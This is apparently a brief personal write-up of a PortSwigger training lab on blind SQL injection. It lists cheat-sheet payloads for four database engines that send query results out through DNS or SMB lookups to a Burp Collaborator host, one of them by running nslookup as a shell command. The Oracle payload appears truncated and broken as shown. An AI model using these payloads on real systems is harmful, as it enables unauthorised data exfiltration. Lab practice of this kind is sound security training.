Blind SQL injection with out-of-band interaction
Blind SQL injection with out-of-band interaction: This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie. • PortSwigger • SQL injection • sql-injection, dns
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain.
To solve the lab, exploit the SQL injection vulnerability to cause a DNS lookup to Burp Collaborator.
this one I used only the Cheatsheet
Oracle `SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual` Microsoft `declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')` PostgreSQL `create OR replace function f() returns void as $$declare c text; declare p text; begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';execute c; END;
$$ language plpgsql security definer;
SELECT f();` MySQL The following technique works on Windows only:
`SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'` 
Quite straight forward.